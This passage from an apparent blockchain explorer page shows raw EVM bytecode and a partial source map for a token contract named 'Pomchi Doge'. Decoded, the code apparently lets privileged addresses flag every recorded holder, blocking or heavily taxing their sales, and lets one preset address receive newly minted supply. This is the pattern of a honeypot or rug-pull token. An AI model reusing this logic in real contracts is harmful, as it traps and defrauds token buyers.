00654610317906001600160a01b031681565b34801561065d57600080fd5b5060105461028590610100900460ff1681565b34801561067c57600080fd5b5061034060035481565b34801561069257600080fd5b506103406106a1366004611d75565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156106d857600080fd5b506102d56106e7366004611da3565b610b69565b60006106f9338484610b9d565b5060015b92915050565b61070c33610486565b6107375760405162461bcd60e51b815260206004820152600060248201526044015b60405180910390fd5b600291909155600355565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161072e565b6001600160a01b03166000908152600e60205260409020805460ff19166001179055565b6107c933610486565b6107ef5760405162461bcd60e51b8152602060048201526000602482015260440161072e565b6010805462ffffff19166201010117905542601155565b6000610813848484610c5e565b610865843361086085604051806060016040528060288152602001611f3c602891396001600160a01b038a166000908152600a6020908152604080832033845290915290205491906114b1565b610b9d565b5060019392505050565b61087833610486565b61089e5760405162461bcd60e51b8152602060048201526000602482015260440161072e565b60005b600f5481101561090a576001600d6000600f84815481106108c4576108c4611dbc565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061090281611de8565b9150506108a1565b50565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f991859061086090866114dd565b61094c33610486565b6109725760405162461bcd60e51b8152602060048201526000602482015260440161072e565b600554600455565b61098333610486565b6109a95760405162461bcd60e51b8152602060048201526000602482015260440161072e565b60006002819055600355565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610a0833610486565b610a2e5760405162461bcd60e51b8152602060048201526000602482015260440161072e565b60108054911515620100000262ff000019909216919091179055565b610a5333610486565b610a795760405162461bcd60e51b8152602060048201526000602482015260440161072e565b6008546001600160a01b03828116911614610a9357600080fd5b8160016000828254610aa59190611e01565b90915550506001600160a01b03811660009081526009602052604081208054849290610ad2908490611e01565b90915550506008546040518381526001600160a01b03838116921690600080516020611f648339815191529060200160405180910390a35050565b60006106f9338461086085604051806060016040528060258152602001611f8460259139336000908152600a602090815260408083206001600160a01b038d16845290915290205491906114b1565b60006106f9338484610c5e565b610b7233610486565b610b985760405162461bcd60e51b8152602060048201526000602482015260440161072e565b600555565b6001600160a01b03831615801590610bbd57506001600160a01b03821615155b610bfd5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161072e565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c8a57506007546001600160a01b03838116911614155b8015610ca457506006546001600160a01b03838116911614155b8015610cb957506001600160a01b0382163014155b8015610cd357506013546001600160a01b03838116911614155b8015610cea57506001600160a01b03821661dead14155b8015610d0457506000546001600160a01b03848116911614155b8015610d2957506001600160a01b0383166000908152600e602052604090205460ff16155b8015610d4e57506001600160a01b0382166000908152600e602052604090205460ff16155b15610e09576001600160a01b038216600090815260096020526040902054600554610d798383611e01565b1115610e075760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161072e565b505b6000546001600160a01b03848116911614801590610e3557506000546001600160a01b03838116911614155b8015610e5a57506001600160a01b0383166000908152600e602052604090205460ff16155b8015610e7f57506001600160a01b0382166000908152600e602052604090205460ff16155b15610efc57600454811115610efc5760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161072e565b6001600160a01b03831615801590610f1c57506001600160a01b03821615155b610f605760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161072e565b60008111610fbe5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161072e565b601054610100900460ff16611051576001600160a01b0383166000908152600b602052604090205460ff168061100c57506001600160a01b0382166000908152600b602052604090205460ff165b6110515760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161072e565b4260115460036110619190611e01565b11611071576010805460ff191690555b4260115460046110819190611e01565b11611093576010805462ff0000191690555b60105462010000900460ff161580156110c557506001600160a01b0383166000908152600b602052604090205460ff16155b156110f0576001600160a01b0383166000908152600d602052604090205460ff16156110f057600080fd5b60105462010000900460ff16801561111657504260115460056111139190611e01565b11155b15611123576111236114f5565b60105460ff16801561114357506013546001600160a01b03838116911614155b8015611154575064012a05f2003a10155b1561117d576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6000546001600160a01b038481169116148015906111a957506013546001600160a01b03848116911614155b80156111ce57506001600160a01b0383166000908152600c602052604090205460ff16155b15611239576001600160a01b0383166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b0383811691161480159061126557506013546001600160a01b03838116911614155b801561128a57506001600160a01b0382166000908152600c602052604090205460ff16155b156112f5576001600160a01b0382166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b0383811691161480159061132157506013546001600160a01b03838116911614155b1561136b576001600160a01b0383166000908152600b602052604090205460ff161561136b576001600160a01b0382166000908152600b60205260409020805460ff191660011790555b600054600a600160a01b90910460ff16108015906113935750601354600160a01b900460ff16155b80156113ad57506013546001600160a01b03848116911614155b80156113c25750601354600160a81b900460ff165b156113fe57306000908152600960205260409020546004548111156113e657506004545b6000805460ff60a01b191690556113fc81611561565b505b6001600160a01b0383166000908152600b60205260408120546001919060ff168061144157506001600160a01b0384166000908152600b602052604090205460ff165b1561144f576000915061149d565b6013546001600160a01b0390811690861603611469575060015b60008054600160a01b900460ff1690601461148383611e14565b91906101000a81548160ff021916908360ff160217905550505b6114aa85858585856116d5565b5050505050565b600081848411156114d55760405162461bcd60e51b815260040161072e9190611c14565b505050900390565b60006114e98284611e01565b9392505050565b505050565b60005b600f5481101561090a576001600d6000600f848154811061151b5761151b611dbc565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061155981611de8565b9150506114f8565b6013805460ff60a01b1916600160a01b17905560006064611583836037611e33565b61158d9190611e4a565b90506000606461159e84602c611e33565b6115a89190611e4a565b905060006115b760c885611e4a565b9050476115d7836115c88685611e01565b6115d29190611e01565b6119d9565b60006115e38247611e6c565b9050600060646115f4836037611e33565b6115fe9190611e4a565b90506000606461160f84602c611e33565b6116199190611e4a565b9050611639858261162a8587611e6c565b6116349190611e6c565b611b33565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826116668587611e6c565b6116709190611e6c565b604080519283526020830191909152810187905260600160405180910390a16007546116a5906001600160a01b031683611bde565b6006544793506116be906001600160a01b031684611bde565b50506013805460ff60a01b19169055505050505050565b8161177d576001600160a01b0385166000908152600960205260409020546116fe908490611e6c565b6001600160a01b03808716600090815260096020526040808220939093559086168152205461172e908490611e01565b6001600160a01b038086166000818152600960205260409081902093909355915190871690600080516020611f64833981519152906117709087815260200190565b60405180910390a36114aa565b801561187c5760006064600254856117959190611e33565b61179f9190611e4a565b905060006117ad8286611e6c565b6001600160a01b0388166000908152600960205260409020549091506117d4908690611e6c565b6001600160a01b038089166000908152600960205260408082209390935590881681522054611804908290611e01565b6001600160a01b038716600090815260096020526040808220929092553081522054611831908390611e01565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f64833981519152910160405180910390a350506114aa565b6001600160a01b0385166000908152600d602052604081205460ff16156118c9576003546064906118ae600987611e33565b6118b89190611e33565b6118c29190611e4a565b90506118fc565b6013546001600160a01b03908116908616036118fc576064600354856118ef9190611e33565b6118f99190611e4a565b90505b60006119088286611e6c565b6001600160a01b03881660009081526009602052604090205490915061192f908690611e6c565b6001600160a01b03808916600090815260096020526040808220939093559088168152205461195f908290611e01565b6001600160a01b03871660009081526009602052604080822092909255308152205461198c908390611e01565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f64833981519152910160405180910390a350505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a0e57611a0e611dbc565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8b9190611e7f565b81600181518110611a9e57611a9e611dbc565b6001600160a01b039283166020918202929092010152601254611ac49130911684610b9d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611afd908590600090869030904290600401611e9c565b600060405180830381600087803b158015611b1757600080fd5b505af1158015611b2b573d6000803e3d6000fd5b505050505050565b601254611b4b9030906001600160a01b031684610b9d565b60125460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611bb9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114aa9190611f0d565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156114f0573d6000803e3d6000fd5b600060208083528351808285015260005b81811015611c4157858101830151858201604001528201611c25565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461090a57600080fd5b60008060408385031215611c8a57600080fd5b8235611c9581611c62565b946020939093013593505050565b60008060408385031215611cb657600080fd5b50508035926020909101359150565b600060208284031215611cd757600080fd5b81356114e981611c62565b600080600060608486031215611cf757600080fd5b8335611d0281611c62565b92506020840135611d1281611c62565b929592945050506040919091013590565b600060208284031215611d3557600080fd5b813580151581146114e957600080fd5b60008060408385031215611d5857600080fd5b823591506020830135611d6a81611c62565b809150509250929050565b60008060408385031215611d8857600080fd5b8235611d9381611c62565b91506020830135611d6a81611c62565b600060208284031215611db557600080fd5b5035919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611dfa57611dfa611dd2565b5060010190565b808201808211156106fd576106fd611dd2565b600060ff821660ff8103611e2a57611e2a611dd2565b60010192915050565b80820281158282048414176106fd576106fd611dd2565b600082611e6757634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106fd576106fd611dd2565b600060208284031215611e9157600080fd5b81516114e981611c62565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eec5784516001600160a01b031683529383019391830191600101611ec7565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611f2257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206a1d7961ed63054988b9ee6118b43bd4e522a46b3fa67e10f14f5948d01db71064736f6c63430008110033
Deployed Bytecode
0x6080604052600436106102135760003560e01c80636b130f9a11610118578063a0688160116100a0578063b115e4df1161006f578063b115e4df14610631578063bbc0c74214610651578063cebb162214610670578063dd62ed3e14610686578063e55fc9c7146106cc57600080fd5b8063a0688160146105b7578063a457c2d7146105d7578063a5edb92e146105f7578063a9059cbb1461061157600080fd5b806378109e54116100e757806378109e54146105245780637d1db4a51461053a5780637ed4ce42146105505780638da5cb5b1461056657806395d89b411461058457600080fd5b80636b130f9a146104a457806370a08231146104b9578063715018a6146104ef57806377c325d61461050457600080fd5b806323b872dd1161019b578063395093511161016a57806339509351146103f5578063493367081461041557806349bd5a5e1461042a5780634a74bb021461044a5780635c32460b1461046b57600080fd5b806323b872dd146103845780632598cdb2146103a4578063313ce567146103c45780633158952e146103e057600080fd5b80630ddcfe8e116101e25780630ddcfe8e146102d75780631694505e146102f757806318160ddd1461032f5780631d97b7cd1461034e578063220f66961461036357600080fd5b806306fdde031461021f578063095ea7b3146102655780630a702e8d146102955780630b78f9c0146102b557600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5060408051808201909152600b81526a506f6d63686920446f676560a81b60208201525b60405161025c9190611c14565b60405180910390f35b34801561027157600080fd5b50610285610280366004611c77565b6106ec565b604051901515815260200161025c565b3480156102a157600080fd5b506010546102859062010000900460ff1681565b3480156102c157600080fd5b506102d56102d0366004611ca3565b610703565b005b3480156102e357600080fd5b506102d56102f2366004611cc5565b610742565b34801561030357600080fd5b50601254610317906001600160a01b031681565b6040516001600160a01b03909116815260200161025c565b34801561033b57600080fd5b506001545b60405190815260200161025c565b34801561035a57600080fd5b506102d56107c0565b34801561036f57600080fd5b5060135461028590600160a01b900460ff1681565b34801561039057600080fd5b5061028561039f366004611ce2565b610806565b3480156103b057600080fd5b50600754610317906001600160a01b031681565b3480156103d057600080fd5b506040516009815260200161025c565b3480156103ec57600080fd5b506102d561086f565b34801561040157600080fd5b50610285610410366004611c77565b61090d565b34801561042157600080fd5b506102d5610943565b34801561043657600080fd5b50601354610317906001600160a01b031681565b34801561045657600080fd5b5060135461028590600160a81b900460ff1681565b34801561047757600080fd5b50610285610486366004611cc5565b6001600160a01b03166000908152600e602052604090205460ff1690565b3480156104b057600080fd5b506102d561097a565b3480156104c557600080fd5b506103406104d4366004611cc5565b6001600160a01b031660009081526009602052604090205490565b3480156104fb57600080fd5b506102d56109b5565b34801561051057600080fd5b506102d561051f366004611d23565b6109ff565b34801561053057600080fd5b5061034060055481565b34801561054657600080fd5b5061034060045481565b34801561055c57600080fd5b5061034060025481565b34801561057257600080fd5b506000546001600160a01b0316610317565b34801561059057600080fd5b5060408051808201909152600a815269504f4d434849444f474560b01b602082015261024f565b3480156105c357600080fd5b506102d56105d2366004611d45565b610a4a565b3480156105e357600080fd5b506102856105f2366004611c77565b610b0d565b34801561060357600080fd5b506010546102859060ff1681565b34801561061d57600080fd5b5061028561062c366004611c77565b610b5c565b34801561063d57600080fd5b50600654610317906001600160a01b031681565b34801561065d57600080fd5b5060105461028590610100900460ff1681565b34801561067c57600080fd5b5061034060035481565b34801561069257600080fd5b506103406106a1366004611d75565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156106d857600080fd5b506102d56106e7366004611da3565b610b69565b60006106f9338484610b9d565b5060015b92915050565b61070c33610486565b6107375760405162461bcd60e51b815260206004820152600060248201526044015b60405180910390fd5b600291909155600355565b6000546001600160a01b0316331461079c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161072e565b6001600160a01b03166000908152600e60205260409020805460ff19166001179055565b6107c933610486565b6107ef5760405162461bcd60e51b8152602060048201526000602482015260440161072e565b6010805462ffffff19166201010117905542601155565b6000610813848484610c5e565b610865843361086085604051806060016040528060288152602001611f3c602891396001600160a01b038a166000908152600a6020908152604080832033845290915290205491906114b1565b610b9d565b5060019392505050565b61087833610486565b61089e5760405162461bcd60e51b8152602060048201526000602482015260440161072e565b60005b600f5481101561090a576001600d6000600f84815481106108c4576108c4611dbc565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061090281611de8565b9150506108a1565b50565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f991859061086090866114dd565b61094c33610486565b6109725760405162461bcd60e51b8152602060048201526000602482015260440161072e565b600554600455565b61098333610486565b6109a95760405162461bcd60e51b8152602060048201526000602482015260440161072e565b60006002819055600355565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610a0833610486565b610a2e5760405162461bcd60e51b8152602060048201526000602482015260440161072e565b60108054911515620100000262ff000019909216919091179055565b610a5333610486565b610a795760405162461bcd60e51b8152602060048201526000602482015260440161072e565b6008546001600160a01b03828116911614610a9357600080fd5b8160016000828254610aa59190611e01565b90915550506001600160a01b03811660009081526009602052604081208054849290610ad2908490611e01565b90915550506008546040518381526001600160a01b03838116921690600080516020611f648339815191529060200160405180910390a35050565b60006106f9338461086085604051806060016040528060258152602001611f8460259139336000908152600a602090815260408083206001600160a01b038d16845290915290205491906114b1565b60006106f9338484610c5e565b610b7233610486565b610b985760405162461bcd60e51b8152602060048201526000602482015260440161072e565b600555565b6001600160a01b03831615801590610bbd57506001600160a01b03821615155b610bfd5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161072e565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c8a57506007546001600160a01b03838116911614155b8015610ca457506006546001600160a01b03838116911614155b8015610cb957506001600160a01b0382163014155b8015610cd357506013546001600160a01b03838116911614155b8015610cea57506001600160a01b03821661dead14155b8015610d0457506000546001600160a01b03848116911614155b8015610d2957506001600160a01b0383166000908152600e602052604090205460ff16155b8015610d4e57506001600160a01b0382166000908152600e602052604090205460ff16155b15610e09576001600160a01b038216600090815260096020526040902054600554610d798383611e01565b1115610e075760405162461bcd60e51b815260206004820152605160248201527f596f752061726520747279696e6720746f2062757920746f6f206d616e79207460448201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d696064820152703a103337b91037b732903bb0b63632ba1760791b608482015260a40161072e565b505b6000546001600160a01b03848116911614801590610e3557506000546001600160a01b03838116911614155b8015610e5a57506001600160a01b0383166000908152600e602052604090205460ff16155b8015610e7f57506001600160a01b0382166000908152600e602052604090205460ff16155b15610efc57600454811115610efc5760405162461bcd60e51b815260206004820152603a60248201527f596f752061726520747279696e6720746f20627579206d6f7265207468616e2060448201527f746865206d6178207472616e73616374696f6e206c696d69742e000000000000606482015260840161072e565b6001600160a01b03831615801590610f1c57506001600160a01b03821615155b610f605760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161072e565b60008111610fbe5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161072e565b601054610100900460ff16611051576001600160a01b0383166000908152600b602052604090205460ff168061100c57506001600160a01b0382166000908152600b602052604090205460ff165b6110515760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161072e565b4260115460036110619190611e01565b11611071576010805460ff191690555b4260115460046110819190611e01565b11611093576010805462ff0000191690555b60105462010000900460ff161580156110c557506001600160a01b0383166000908152600b602052604090205460ff16155b156110f0576001600160a01b0383166000908152600d602052604090205460ff16156110f057600080fd5b60105462010000900460ff16801561111657504260115460056111139190611e01565b11155b15611123576111236114f5565b60105460ff16801561114357506013546001600160a01b03838116911614155b8015611154575064012a05f2003a10155b1561117d576001600160a01b0382166000908152600d60205260409020805460ff191660011790555b6000546001600160a01b038481169116148015906111a957506013546001600160a01b03848116911614155b80156111ce57506001600160a01b0383166000908152600c602052604090205460ff16155b15611239576001600160a01b0383166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b0383811691161480159061126557506013546001600160a01b03838116911614155b801561128a57506001600160a01b0382166000908152600c602052604090205460ff16155b156112f5576001600160a01b0382166000818152600c60205260408120805460ff19166001908117909155600f805491820181559091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b03191690911790555b6000546001600160a01b0383811691161480159061132157506013546001600160a01b03838116911614155b1561136b576001600160a01b0383166000908152600b602052604090205460ff161561136b576001600160a01b0382166000908152600b60205260409020805460ff191660011790555b600054600a600160a01b90910460ff16108015906113935750601354600160a01b900460ff16155b80156113ad57506013546001600160a01b03848116911614155b80156113c25750601354600160a81b900460ff165b156113fe57306000908152600960205260409020546004548111156113e657506004545b6000805460ff60a01b191690556113fc81611561565b505b6001600160a01b0383166000908152600b60205260408120546001919060ff168061144157506001600160a01b0384166000908152600b602052604090205460ff165b1561144f576000915061149d565b6013546001600160a01b0390811690861603611469575060015b60008054600160a01b900460ff1690601461148383611e14565b91906101000a81548160ff021916908360ff160217905550505b6114aa85858585856116d5565b5050505050565b600081848411156114d55760405162461bcd60e51b815260040161072e9190611c14565b505050900390565b60006114e98284611e01565b9392505050565b505050565b60005b600f5481101561090a576001600d6000600f848154811061151b5761151b611dbc565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff19169115159190911790558061155981611de8565b9150506114f8565b6013805460ff60a01b1916600160a01b17905560006064611583836037611e33565b61158d9190611e4a565b90506000606461159e84602c611e33565b6115a89190611e4a565b905060006115b760c885611e4a565b9050476115d7836115c88685611e01565b6115d29190611e01565b6119d9565b60006115e38247611e6c565b9050600060646115f4836037611e33565b6115fe9190611e4a565b90506000606461160f84602c611e33565b6116199190611e4a565b9050611639858261162a8587611e6c565b6116349190611e6c565b611b33565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826116668587611e6c565b6116709190611e6c565b604080519283526020830191909152810187905260600160405180910390a16007546116a5906001600160a01b031683611bde565b6006544793506116be906001600160a01b031684611bde565b50506013805460ff60a01b19169055505050505050565b8161177d576001600160a01b0385166000908152600960205260409020546116fe908490611e6c565b6001600160a01b03808716600090815260096020526040808220939093559086168152205461172e908490611e01565b6001600160a01b038086166000818152600960205260409081902093909355915190871690600080516020611f64833981519152906117709087815260200190565b60405180910390a36114aa565b801561187c5760006064600254856117959190611e33565b61179f9190611e4a565b905060006117ad8286611e6c565b6001600160a01b0388166000908152600960205260409020549091506117d4908690611e6c565b6001600160a01b038089166000908152600960205260408082209390935590881681522054611804908290611e01565b6001600160a01b038716600090815260096020526040808220929092553081522054611831908390611e01565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f64833981519152910160405180910390a350506114aa565b6001600160a01b0385166000908152600d602052604081205460ff16156118c9576003546064906118ae600987611e33565b6118b89190611e33565b6118c29190611e4a565b90506118fc565b6013546001600160a01b03908116908616036118fc576064600354856118ef9190611e33565b6118f99190611e4a565b90505b60006119088286611e6c565b6001600160a01b03881660009081526009602052604090205490915061192f908690611e6c565b6001600160a01b03808916600090815260096020526040808220939093559088168152205461195f908290611e01565b6001600160a01b03871660009081526009602052604080822092909255308152205461198c908390611e01565b3060009081526009602090815260409182902092909255518281526001600160a01b0388811692908a1691600080516020611f64833981519152910160405180910390a350505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a0e57611a0e611dbc565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611a67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8b9190611e7f565b81600181518110611a9e57611a9e611dbc565b6001600160a01b039283166020918202929092010152601254611ac49130911684610b9d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611afd908590600090869030904290600401611e9c565b600060405180830381600087803b158015611b1757600080fd5b505af1158015611b2b573d6000803e3d6000fd5b505050505050565b601254611b4b9030906001600160a01b031684610b9d565b60125460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611bb9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114aa9190611f0d565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156114f0573d6000803e3d6000fd5b600060208083528351808285015260005b81811015611c4157858101830151858201604001528201611c25565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461090a57600080fd5b60008060408385031215611c8a57600080fd5b8235611c9581611c62565b946020939093013593505050565b60008060408385031215611cb657600080fd5b50508035926020909101359150565b600060208284031215611cd757600080fd5b81356114e981611c62565b600080600060608486031215611cf757600080fd5b8335611d0281611c62565b92506020840135611d1281611c62565b929592945050506040919091013590565b600060208284031215611d3557600080fd5b813580151581146114e957600080fd5b60008060408385031215611d5857600080fd5b823591506020830135611d6a81611c62565b809150509250929050565b60008060408385031215611d8857600080fd5b8235611d9381611c62565b91506020830135611d6a81611c62565b600060208284031215611db557600080fd5b5035919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611dfa57611dfa611dd2565b5060010190565b808201808211156106fd576106fd611dd2565b600060ff821660ff8103611e2a57611e2a611dd2565b60010192915050565b80820281158282048414176106fd576106fd611dd2565b600082611e6757634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156106fd576106fd611dd2565b600060208284031215611e9157600080fd5b81516114e981611c62565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eec5784516001600160a01b031683529383019391830191600101611ec7565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611f2257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206a1d7961ed63054988b9ee6118b43bd4e522a46b3fa67e10f14f5948d01db71064736f6c63430008110033
Deployed Bytecode Sourcemap
13093:13221:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16707:83;;;;;;;;;;-1:-1:-1;16777:5:0;;;;;;;;;;;;-1:-1:-1;;;16777:5:0;;;;16707:83;;;;;;;:::i;:::-;;;;;;;;17536:161;;;;;;;;;;-1:-1:-1;17536:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;17536:161:0;1023:187:1;14558:33:0;;;;;;;;;;-1:-1:-1;14558:33:0;;;;;;;;;;;19579:143;;;;;;;;;;-1:-1:-1;19579:143:0;;;;;:::i;:::-;;:::i;:::-;;15771:92;;;;;;;;;;-1:-1:-1;15771:92:0;;;;;:::i;:::-;;:::i;14643:41::-;;;;;;;;;;-1:-1:-1;14643:41:0;;;;-1:-1:-1;;;;;14643:41:0;;;;;;-1:-1:-1;;;;;1911:32:1;;;1893:51;;1881:2;1866:18;14643:41:0;1720:230:1;16978:95:0;;;;;;;;;;-1:-1:-1;17058:7:0;;16978:95;;;2101:25:1;;;2089:2;2074:18;16978:95:0;1955:177:1;19093:193:0;;;;;;;;;;;;;:::i;14726:28::-;;;;;;;;;;-1:-1:-1;14726:28:0;;;;-1:-1:-1;;;14726:28:0;;;;;;17703:313;;;;;;;;;;-1:-1:-1;17703:313:0;;;;;:::i;:::-;;:::i;13820:92::-;;;;;;;;;;-1:-1:-1;13820:92:0;;;;-1:-1:-1;;;;;13820:92:0;;;16889:83;;;;;;;;;;-1:-1:-1;16889:83:0;;13437:1;2964:36:1;;2952:2;2937:18;16889:83:0;2822:184:1;19418:153:0;;;;;;;;;;;;;:::i;18022:218::-;;;;;;;;;;-1:-1:-1;18022:218:0;;;;;:::i;:::-;;:::i;19853:95::-;;;;;;;;;;;;;:::i;14691:28::-;;;;;;;;;;-1:-1:-1;14691:28:0;;;;-1:-1:-1;;;;;14691:28:0;;;14761:40;;;;;;;;;;-1:-1:-1;14761:40:0;;;;-1:-1:-1;;;14761:40:0;;;;;;15664:99;;;;;;;;;;-1:-1:-1;15664:99:0;;;;;:::i;:::-;-1:-1:-1;;;;;15741:14:0;15717:4;15741:14;;;:9;:14;;;;;;;;;15664:99;19734:107;;;;;;;;;;;;;:::i;17079:117::-;;;;;;;;;;-1:-1:-1;17079:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;17172:16:0;17145:7;17172:16;;;:7;:16;;;;;;;17079:117;15427:138;;;;;;;;;;;;;:::i;19294:111::-;;;;;;;;;;-1:-1:-1;19294:111:0;;;;;:::i;:::-;;:::i;13668:50::-;;;;;;;;;;;;;;;;13614:47;;;;;;;;;;;;;;;;13539:30;;;;;;;;;;;;;;;;15208:87;;;;;;;;;;-1:-1:-1;15254:7:0;15281:6;-1:-1:-1;;;;;15281:6:0;15208:87;;16796;;;;;;;;;;-1:-1:-1;16868:7:0;;;;;;;;;;;;-1:-1:-1;;;16868:7:0;;;;16796:87;;23749:277;;;;;;;;;;-1:-1:-1;23749:277:0;;;;;:::i;:::-;;:::i;18246:269::-;;;;;;;;;;-1:-1:-1;18246:269:0;;;;;:::i;:::-;;:::i;14478:33::-;;;;;;;;;;-1:-1:-1;14478:33:0;;;;;;;;17202:167;;;;;;;;;;-1:-1:-1;17202:167:0;;;;;:::i;:::-;;:::i;13727:86::-;;;;;;;;;;-1:-1:-1;13727:86:0;;;;-1:-1:-1;;;;;13727:86:0;;;14518:33;;;;;;;;;;-1:-1:-1;14518:33:0;;;;;;;;;;;13576:31;;;;;;;;;;;;;;;;17375:155;;;;;;;;;;-1:-1:-1;17375:155:0;;;;;:::i;:::-;-1:-1:-1;;;;;17489:21:0;;;17462:7;17489:21;;;:11;:21;